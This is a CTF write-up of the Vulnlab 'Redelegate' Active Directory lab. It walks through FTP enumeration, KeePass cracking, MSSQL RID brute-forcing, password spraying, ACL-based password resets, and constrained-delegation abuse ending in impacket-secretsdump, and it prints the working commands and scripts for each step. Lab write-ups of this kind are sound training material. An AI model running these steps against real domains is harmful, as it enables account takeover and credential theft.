Vulnlab — Redelegate

ARZ101
7 min readDec 4, 2024

--

Redelegate, an AD machine from Vulnlab involved enumerating ftp to find a keepass database file and password format, cracking the file lead to accessing MSSQL and enumerating domain users through SUSER_SNAME and SUSER_ID , password spraying to gain access to a user, escalating privileges through ForceChangePassword , having GenericAll on a machine account and SeEnableDelegation privilege enabled, gaining administrator by performing Constrained Delegation.

21/tcp   open  ftp           Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 10-20-24 12:11AM 434 CyberAudit.txt
| 10-20-24 04:14AM 2622 Shared.kdbx
|_10-20-24 12:26AM 580 TrainingAgenda.txt
| ftp-syst:
|_ SYST: Windows_NT
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-11-25 15:33:52Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: redelegate.vl0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-info:

From the scan we have ports 21, 445 from where we could login as anonymous user and look for files

FTP shows two text files, talking about recent audit findings where unused objects and misconfigured ACLs are still in the domain also there’s a potential password format SeasonYear!

So this is giving us a hint on creating a wordlist of seasons for the year 2024, we can simply create that

Spring2024!
Summer2024!
Fall2024!
Autumn2024!
Winter2024!

Now one thing to note is whenever we are transferring files from FTP, it is recommended to use binary mode instead of ascii, reason being when transferring from windows to linux, it will convert the line endings accordingly (as they are different in both OS on how to they add line feed), with binary it will transfer the file as it is

Here this keepass file was downloaded with ascii mode and probably is the reason why it didn’t get cracked, changing mode to binary with binary

The last part of hash can be seen being different in both of the modes

ca4e19 - ascii

ca - binary

Moving on to accessing this file with kpcli , kdbx file can be access with open followed by the password we have

With show -f we can reveal the passwords

We have six credentials that we can spray , to see which one is valid, spraying on smb didn’t worked, trying it on mssql

impacket-mssqlclient SQLGuest@10.10.82.7

Trying to use xp_cmdshell to execute commands we can see this user doesn’t have privileges to do that

On coercing authentication with xp_dirtree in order to can get NTLMv2 challenge/response hash of the user with which the mssql service is running

From here we can’t do much since NTLMv2 cannot be cracked and we cannot execute any meaningful stored procedures which can either help us in enumerating the file system or executing any commands but luckily there’s a function named SUSER_SID that returns the Security Identifier (SID) for the specified user.

select sys.fn_varbintohexstr(SUSER_SID('redelegate\Administrator'))

This SID is in hex, we can covert this into a proper SID format by using the script mentioned in this article

import struct
import sys
def prepare_sid(sid):
hex_string = bytes.fromhex(sid[2:])
mod_sid = sid_to_str(hex_string)
domain_sid_data = mod_sid.split('-')[:7]
domain_sid = '-'.join(domain_sid_data) + "-"
print(domain_sid+"\n")
return domain_sid
def sid_to_str(sid):
if sys.version_info.major < 3:
revision = ord(sid[0])
else:
revision = sid[0]
if sys.version_info.major < 3:
number_of_sub_ids = ord(sid[1])
else:
number_of_sub_ids = sid[1]
iav = struct.unpack('>Q', b'\x00\x00' + sid[2:8])[0]
sub_ids = [struct.unpack('<I', sid[8 + 4 * i:12 + 4 * i])[0]
for i in range(number_of_sub_ids)]
return 'S-{0}-{1}-{2}'.format(revision, iav, '-'.join([str(sub_id) for sub_id in sub_ids]))
prepare_sid("0x010500000000000515000000a185deefb22433798d8e847af4010000")

This will return the domain SID in proper which we can use to append administrator’s SID to verify if we can enumerate users like this

Now we need to iterate over the user SID part

select (SUSER_SNAME(SID_BINARY(N'S-1-5-21-4024337825-2033394866-2055507597-500')))

We can use a for loop to increment the user id, have those queries in a text file and pass it to mssqclient with -file parameter

for i in range(500, 10000 + 1, 1):
print(f"select (SUSER_SNAME(SID_BINARY(N'S-1-5-21-4024337825-2033394866-2055507597-{i}')))")

After some time we’ll be seeing few domain users, we can utilize them to either check for as-rep roast or spray the password wordlist we have which will lead us to Marie.Curie

Running bloodhound to enumerate the domain using python-bloodhounud

bloodhound-python -d redelegate.vl -u 'Marie.Curie' -p 'password'  -c all -ns 10.10.92.151

Through Marie.Curie we can change password of Helen.Frost with ForceChangePassword, since this user is part of helpdesk group and then can logon to DC

Password can be changed with either net rpc or rpcclient

net rpc password "Helen.Frost" -U "redelegate.vl"/"Marie.Curie" -S 10.10.92.151

Having the password changed, we can login through evil-winrm

Checking the privileges we have SeEnableDelegationPrivilege privilege

With this privilege, we can configure the delegation attributes are set on the service resulting in either unconstrained or constrained delegation, for this to work we need ability to add an machine account or have control over one, in this case we have machine quota set to 0

But we have GenericAll on FS01$ through which can reset the password and gain control over this account

net rpc password "FS01$" -U "redelegate.vl"/"Helen.Frost" -S 10.10.92.151

Now to configure constrained delegation, we need to set two attributes, the first TRUSTED_TO_AUTH_FOR_DELEGATION which is for enabling delegation, then msDS-AllowedToDelegateTo which is for specifying for which service and host it can delegate to. This can be set with using powershell ADModule

Set-ADComputer -Identity FS01 -Add @{'msDS-AllowedToDelegateTo'=@('cifs/dc.redelegate.vl')}
Set-ADAccountControl -Identity "FS01$" -TrustedToAuthForDelegation $True

The properties can be verified by looking for computers configured with constrained delegation

Get-ADComputer -Filter * -Properties msDS-AllowedToDelegateTo | Where-Object { $_.'msDS-AllowedToDelegateTo' -ne $null } | Select-Object Name, msDS-AllowedToDelegateTo

This can also be done with impacket-findDelegation

Impersonating as administrator didn’t work as it had CannotBeDelegated set to True

There’s another domain admin, RYAN.COOPER , which we can impersonate

With this ticket we can gain remote access through ps/wmi/smb exec or dump hash to logon as admin

impacket-secretsdump redelegate.vl/ryan.cooper@dc.redelegate.vl -k -no-pass

References

--

--

ARZ101
ARZ101

Written by ARZ101

Smol Pentester| OSCP | gib AD | UwU

No responses yet